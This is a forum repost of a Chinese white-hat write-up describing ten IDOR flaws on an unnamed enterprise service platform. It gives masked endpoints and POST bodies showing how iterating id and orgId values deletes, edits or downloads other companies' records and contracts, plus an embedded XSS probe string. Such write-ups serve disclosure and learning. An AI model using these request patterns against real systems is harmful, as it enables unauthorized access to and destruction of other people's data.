搜索

[2166] 2020-10-05_某服务公共平台企业登录存在多处全局越权

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-16
2020-10-05_某服务公共平台企业登录存在多处全局越权 某 服 务 公 共 平 台 企 业 登 录 存 在 多 处 全 局 越 权 原 创   无 剧   E D I 安 全   2 0 2 0 - 1 0 - 0 5 收 录 于 话 题   # 白 帽 之 旅   , 3 1 个 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 1 漏 洞 标 题 某 服 务 公 共 平 台 企 业 登 录 存 在 多 处 全 局 越 权 0 2 漏 洞 类 型 越 权 漏 洞 0 3 漏 洞 等 级 高 危 0 4 漏 洞 地 址 h t t p : / / x x x x . c o m / e r . a p p . x x x / a p p s . h t m l 0 5 漏 洞 详 情 注 册 企 业 账 号   c e s h i a a a   / c e s h i 1 2 3 注 册 家 政 账 户 后 ， 登 录 越 权 一 ： 基 本 资 料 - 奖 惩 信 息 - 越 权 删 除 时 遍 历 i d s 参 数 即 可 删 除 所 有 公 司 下 的 奖 惩 信 息 h t t p : / / x x x x . c o m / e r . x x x x . j x x x / r e s t / m n g / x x / a r e a P O S T 数 据 ： i d s = 1 0 0 & o r g I d = 1 2 8 4     0 x 0 1 0 x 0 2
越 权 二 ： 基 本 资 料 - 奖 惩 信 息 - 越 权 修 改 时 遍 历 c I d 参 数 即 可 修 改 所 有 公 司 下 的 奖 惩 信 息 h t t p : / / x x x x . c o m / e r . a p p . x ' x ' x g x x x r e a / 0 / o r g / u p d a t P O S T 数 据 ： c O r g I d = 1 2 8 4 & c I d = 1 0 1 & t i t l e = X S S % 2 2 % 3 E % 3 C i m g + s r c % 3 D 1 % 3 E % 3 C % 2 2 & t y p e = 0 & c o n t e n t = w e r w e r % 2 2 % 3 E % 3 C i m g + s r c % 3 D 1 % 3 E % 3 C % 2 2 w e r & g e t D a t e = 2 0 2 0 - 7 - 6 & s e r i a l N o = & c a u s e = & g i s t = & r e s u l t = & n o t e = f w e r w e r w % 2 2 % 3 E % 3 C i m g + s r c % 3 D 1 % 3 E % 3 C % 2 2 越 权 三 ： 基 本 资 料 - 企 业 宣 传 视 频 - 越 权 删 除 时 遍 历 i d s 参 数 即 可 修 改 所 有 公 司 下 的 视 频 信 息 h t t p : / / x x x . c o m / e r . a p p . x x x / r e s t / m n g / o r g / v i d e o R e s t / d e l P O S T 数 据 ： i d s = 2 1 & o r g I d = 1 2 8 4 0 x 0 3 0 x 0 4
同 理 ， 添 加 视 频 也 存 在 越 权 操 作 ， 这 里 就 不 列 举 了 越 权 四 ： 基 本 资 料 - 企 业 宣 传 图 片 - 越 权 删 除 时 遍 历 d e l H C e r 后 面 的 参 数 即 可 删 除 所 有 公 司 下 的 图 片 信 息 h t t p : / / x x x c o m / e r . a p p . x x x / r e s t / m n g / o r g / o r g P i c t u r e R e s t c = 1 5 9 5 4 5 7 2 7 3 5 9 3 & o r g I d = 1 2 8 4 & p a g e N u m = 1 越 权 五 ： 服 务 记 录 管 理 - 下 载 附 件 时 遍 历 i d 参 数 即 可 下 载 所 有 用 户 的 附 件 信 息 h t t p : / / x x x . c o m / e r . a p p . x x / r e s t / m n g / o r g / s e r v i c e _ r e c o r d / 0 / d o w n l o a d ? i d = 5 3 7 附 件 是 合 同 ， 包 含 用 户 的 全 部 个 人 信 息 。 0 x 0 5 0 x 0 6
h t t p : / / x x x . c o m / e r . a p p . x x x / r e s t / m n g / o r g / s e r v i c e _ r e c o r d / 0 / d o w n l o a d ? i d = 1 3 7 h t t p : / / x x x . c o m / e r . a p p . x x x / r e s t / m n g / o r g / s e r v i c e _ r e c o r d / 0 / d o w n l o a d ? i d = 2 1 7
越 权 六 ： 科 目 管 理 - 查 看 科 目 时 遍 历 i d 参 数 即 可 查 看 所 有 公 司 下 的 科 目 信 息 h t t p : / / x x x x . c o m / e r . a p p . x x x / r e s t / m n g / o r g / s u b j e c t R e s t / g e t B y I d ? c = 1 5 9 5 4 5 9 4 7 9 6 1 7 & o r g I d = 1 2 8 4 & i d = 2 0 1 0 x 0 8
越 权 七 ： 培 训 课 程 管 理 - 课 程 信 息 / 授 课 考 试 / 培 训 学 员 / 科 目 等 功 能 时 添 加 和 删 除 处 通 过 遍 历 参 数 都 存 在 越 权 h t t p : / / x x x . c o m / e r . a p p . x x x / r e s t / m n g / o r g / t r a i n i n g _ c o u r s e / c a t e g o r y / 4 0 4 / m e m b e r / d e l P O S T 数 据 ： i d s = 2 5 8 5 & o r g I d = 1 2 8 4 & c o u r s e I d = 6 5 7 越 权 八 ： 黑 名 单 - 人 员 信 息 查 看 处 通 过 遍 历 i d 参 数 越 权 查 看 所 有 黑 名 单 用 户 h t t p : / / x x x . c o m / e r . a p p . x x / r e s t / m n g / o r g / b l a c k L i s t / g e t B l a c k L i s t B y I d ? i d = 5 1 & c = 1 5 9 5 4 5 9 9 3 7 4 8 8 越 权 九 ： 黑 名 单 - 黑 名 单 证 据 - 证 据 查 看 处 通 过 遍 历 i d 参 数 越 权 查 看 所 有 黑 名 单 证 据 h t t p : / / x x x . c o m / e r . a p p . x x / r e s t / m n g / o r g / c r i m e E v i d e n c e / g e t H C e r t i f i c a t e ? c = 1 5 9 5 4 6 0 0 6 8 4 1 8 & i d = 1 8 & o r g I d = 1 2 8 4 & p a g e N u m = 1 0 x 0 9 0 x 1 0 0 x 1 1
越 权 十 ： 黑 名 单 - 黑 名 单 证 据 - 证 据 删 除 处 通 过 遍 历 i d 参 数 越 权 删 除 所 有 用 户 的 黑 名 单 证 据 h t t p : / / x x . c o m / e r . x x / r e s t / m n g / o r g / c r i m e E v i d e n c e / d e l H c = 1 5 9 5 4 6 0 3 1 8 1 8 6 & i d = 5 8 & o r g I d = 1 2 8 4 & p a g e N u m = 1 0 6 漏 洞 危 害 越 权 漏 洞 可 以 直 接 越 权 操 作 别 人 的 的 信 息 ， 危 害 还 是 比 较 广 泛 的 0 7 建 议 措 施 做 好 权 限 的 控 制 ， 建 议 添 加 t o k e n P S ： 本 文 仅 用 于 技 术 讨 论 与 分 析 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 ： 本 文 仅 用 于 技 术 讨 论 与 分 析 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 。 E D I 安 全 安 全 0 x 1 2
一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理